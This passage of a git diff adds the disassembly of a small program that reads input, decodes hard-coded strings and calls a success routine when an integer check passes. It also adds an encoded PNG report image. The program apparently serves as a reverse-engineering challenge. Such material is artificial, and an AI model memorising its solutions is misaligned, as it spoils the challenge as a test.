ff ff jl 1246 + 1305: 90 nop + 1306: 48 8b 45 f8 mov -0x8(%rbp),%rax + 130a: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax + 1311: 00 00 + 1313: 74 05 je 131a + 1315: e8 b6 fd ff ff call 10d0 <__stack_chk_fail@plt> + 131a: c9 leave + 131b: c3 ret + +000000000000131c : + 131c: f3 0f 1e fa endbr64 + 1320: 55 push %rbp + 1321: 48 89 e5 mov %rsp,%rbp + 1324: 48 83 ec 10 sub $0x10,%rsp + 1328: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax + 132f: 00 00 + 1331: 48 89 45 f8 mov %rax,-0x8(%rbp) + 1335: 31 c0 xor %eax,%eax + 1337: 48 8d 05 ca 0c 00 00 lea 0xcca(%rip),%rax # 2008 <_IO_stdin_used+0x8> + 133e: 48 89 c7 mov %rax,%rdi + 1341: e8 6a fd ff ff call 10b0 + 1346: 90 nop + 1347: 48 8b 45 f8 mov -0x8(%rbp),%rax + 134b: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax + 1352: 00 00 + 1354: 74 05 je 135b + 1356: e8 75 fd ff ff call 10d0 <__stack_chk_fail@plt> + 135b: c9 leave + 135c: c3 ret + +000000000000135d : + 135d: f3 0f 1e fa endbr64 + 1361: 55 push %rbp + 1362: 48 89 e5 mov %rsp,%rbp + 1365: 48 83 ec 30 sub $0x30,%rsp + 1369: 89 7d dc mov %edi,-0x24(%rbp) + 136c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax + 1373: 00 00 + 1375: 48 89 45 f8 mov %rax,-0x8(%rbp) + 1379: 31 c0 xor %eax,%eax + 137b: c7 45 f0 fe ff ff ff movl $0xfffffffe,-0x10(%rbp) + 1382: 8b 45 dc mov -0x24(%rbp),%eax + 1385: 89 45 e8 mov %eax,-0x18(%rbp) + 1388: 8b 45 e8 mov -0x18(%rbp),%eax + 138b: 89 45 f4 mov %eax,-0xc(%rbp) + 138e: 8b 45 e8 mov -0x18(%rbp),%eax + 1391: 89 c6 mov %eax,%esi + 1393: 48 8d 05 91 0c 00 00 lea 0xc91(%rip),%rax # 202b <_IO_stdin_used+0x2b> + 139a: 48 89 c7 mov %rax,%rdi + 139d: b8 00 00 00 00 mov $0x0,%eax + 13a2: e8 39 fd ff ff call 10e0 + 13a7: 8b 45 e8 mov -0x18(%rbp),%eax + 13aa: 3b 45 f0 cmp -0x10(%rbp),%eax + 13ad: 73 11 jae 13c0 + 13af: 48 8d 05 87 0c 00 00 lea 0xc87(%rip),%rax # 203d <_IO_stdin_used+0x3d> + 13b6: 48 89 c7 mov %rax,%rdi + 13b9: e8 f2 fc ff ff call 10b0 + 13be: eb 4a jmp 140a + 13c0: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp) + 13c7: eb 08 jmp 13d1 + 13c9: 83 6d e8 01 subl $0x1,-0x18(%rbp) + 13cd: 83 45 ec 01 addl $0x1,-0x14(%rbp) + 13d1: 8b 45 ec mov -0x14(%rbp),%eax + 13d4: 3b 45 f0 cmp -0x10(%rbp),%eax + 13d7: 72 f0 jb 13c9 + 13d9: 83 7d e8 01 cmpl $0x1,-0x18(%rbp) + 13dd: 75 06 jne 13e5 + 13df: 83 7d f4 ff cmpl $0xffffffff,-0xc(%rbp) + 13e3: 74 11 je 13f6 + 13e5: 48 8d 05 6b 0c 00 00 lea 0xc6b(%rip),%rax # 2057 <_IO_stdin_used+0x57> + 13ec: 48 89 c7 mov %rax,%rdi + 13ef: e8 bc fc ff ff call 10b0 + 13f4: eb 14 jmp 140a + 13f6: b8 00 00 00 00 mov $0x0,%eax + 13fb: e8 1c ff ff ff call 131c + 1400: bf 00 00 00 00 mov $0x0,%edi + 1405: e8 f6 fc ff ff call 1100 + 140a: 48 8b 45 f8 mov -0x8(%rbp),%rax + 140e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax + 1415: 00 00 + 1417: 74 05 je 141e + 1419: e8 b2 fc ff ff call 10d0 <__stack_chk_fail@plt> + 141e: c9 leave + 141f: c3 ret + +0000000000001420
: + 1420: f3 0f 1e fa endbr64 + 1424: 55 push %rbp + 1425: 48 89 e5 mov %rsp,%rbp + 1428: 48 81 ec a0 00 00 00 sub $0xa0,%rsp + 142f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax + 1436: 00 00 + 1438: 48 89 45 f8 mov %rax,-0x8(%rbp) + 143c: 31 c0 xor %eax,%eax + 143e: c7 85 64 ff ff ff ff movl $0xffffffff,-0x9c(%rbp) + 1445: ff ff ff + 1448: 8b 85 64 ff ff ff mov -0x9c(%rbp),%eax + 144e: 89 85 68 ff ff ff mov %eax,-0x98(%rbp) + 1454: c7 85 6c ff ff ff a0 movl $0xf4143da0,-0x94(%rbp) + 145b: 3d 14 f4 + 145e: 48 8d 05 0b 0c 00 00 lea 0xc0b(%rip),%rax # 2070 <_IO_stdin_used+0x70> + 1465: 48 89 c7 mov %rax,%rdi + 1468: e8 43 fc ff ff call 10b0 + 146d: 48 8d 45 80 lea -0x80(%rbp),%rax + 1471: 48 89 c6 mov %rax,%rsi + 1474: 48 8d 05 1a 0c 00 00 lea 0xc1a(%rip),%rax # 2095 <_IO_stdin_used+0x95> + 147b: 48 89 c7 mov %rax,%rdi + 147e: b8 00 00 00 00 mov $0x0,%eax + 1483: e8 68 fc ff ff call 10f0 <__isoc99_scanf@plt> + 1488: 48 b8 70 61 6b 61 67 movabs $0x77757867616b6170,%rax + 148f: 78 75 77 + 1492: 48 89 85 73 ff ff ff mov %rax,-0x8d(%rbp) + 1499: 48 b8 78 75 77 71 75 movabs $0x656f7571777578,%rax + 14a0: 6f 65 00 + 14a3: 48 89 85 78 ff ff ff mov %rax,-0x88(%rbp) + 14aa: 48 8d 85 73 ff ff ff lea -0x8d(%rbp),%rax + 14b1: be 0c 00 00 00 mov $0xc,%esi + 14b6: 48 89 c7 mov %rax,%rdi + 14b9: e8 4b fd ff ff call 1209 + 14be: 48 8d 05 d3 0b 00 00 lea 0xbd3(%rip),%rax # 2098 <_IO_stdin_used+0x98> + 14c5: 48 89 c7 mov %rax,%rdi + 14c8: e8 e3 fb ff ff call 10b0 + 14cd: 48 8d 45 a0 lea -0x60(%rbp),%rax + 14d1: 48 89 c6 mov %rax,%rsi + 14d4: 48 8d 05 ba 0b 00 00 lea 0xbba(%rip),%rax # 2095 <_IO_stdin_used+0x95> + 14db: 48 89 c7 mov %rax,%rdi + 14de: b8 00 00 00 00 mov $0x0,%eax + 14e3: e8 08 fc ff ff call 10f0 <__isoc99_scanf@plt> + 14e8: 48 b8 75 72 6b 61 67 movabs $0x68757367616b7275,%rax + 14ef: 73 75 68 + 14f2: 48 ba 71 79 71 6b 67 movabs $0x657a6d676b717971,%rdx + 14f9: 6d 7a 65 + 14fc: 48 89 45 c0 mov %rax,-0x40(%rbp) + 1500: 48 89 55 c8 mov %rdx,-0x38(%rbp) + 1504: 48 b8 74 75 75 69 75 movabs $0x7378787569757574,%rax + 150b: 78 78 73 + 150e: 48 ba 75 68 71 6b 61 movabs $0x617367616b716875,%rdx + 1515: 67 73 61 + 1518: 48 89 45 d0 mov %rax,-0x30(%rbp) + 151c: 48 89 55 d8 mov %rdx,-0x28(%rbp) + 1520: 48 b8 68 71 6b 61 67 movabs $0x61617367616b7168,%rax + 1527: 73 61 61 + 152a: 48 ba 70 65 6f 61 64 movabs $0x657164616f6570,%rdx + 1531: 71 65 00 + 1534: 48 89 45 d9 mov %rax,-0x27(%rbp) + 1538: 48 89 55 e1 mov %rdx,-0x1f(%rbp) + 153c: 48 8d 45 c0 lea -0x40(%rbp),%rax + 1540: be 0c 00 00 00 mov $0xc,%esi + 1545: 48 89 c7 mov %rax,%rdi + 1548: e8 bc fc ff ff call 1209 + 154d: 48 8d 05 5c 0b 00 00 lea 0xb5c(%rip),%rax # 20b0 <_IO_stdin_used+0xb0> + 1554: 48 89 c7 mov %rax,%rdi + 1557: e8 54 fb ff ff call 10b0 + 155c: c7 85 60 ff ff ff 00 movl $0x0,-0xa0(%rbp) + 1563: 00 00 00 + 1566: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax + 156d: 48 89 c6 mov %rax,%rsi + 1570: 48 8d 05 6c 0b 00 00 lea 0xb6c(%rip),%rax # 20e3 <_IO_stdin_used+0xe3> + 1577: 48 89 c7 mov %rax,%rdi + 157a: b8 00 00 00 00 mov $0x0,%eax + 157f: e8 6c fb ff ff call 10f0 <__isoc99_scanf@plt> + 1584: 8b 85 60 ff ff ff mov -0xa0(%rbp),%eax + 158a: 89 c7 mov %eax,%edi + 158c: e8 cc fd ff ff call 135d + 1591: 90 nop + 1592: eb d2 jmp 1566 + +Disassembly of section .fini: + +0000000000001594 <_fini>: + 1594: f3 0f 1e fa endbr64 + 1598: 48 83 ec 08 sub $0x8,%rsp + 159c: 48 83 c4 08 add $0x8,%rsp + 15a0: c3 ret diff --git a/reports/111.png b/reports/111.png new file mode 100644 index 0000000000000000000000000000000000000000..f0e8997151320ed7d93142bcf4ed449272c279fd GIT binary patch literal 14866 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 Te&h9RM?g$iTBuY&$LIe72`obG literal 0 HcmV?d00001 diff --git a/reports/222.png b/reports/222.png new file mode 100644 index 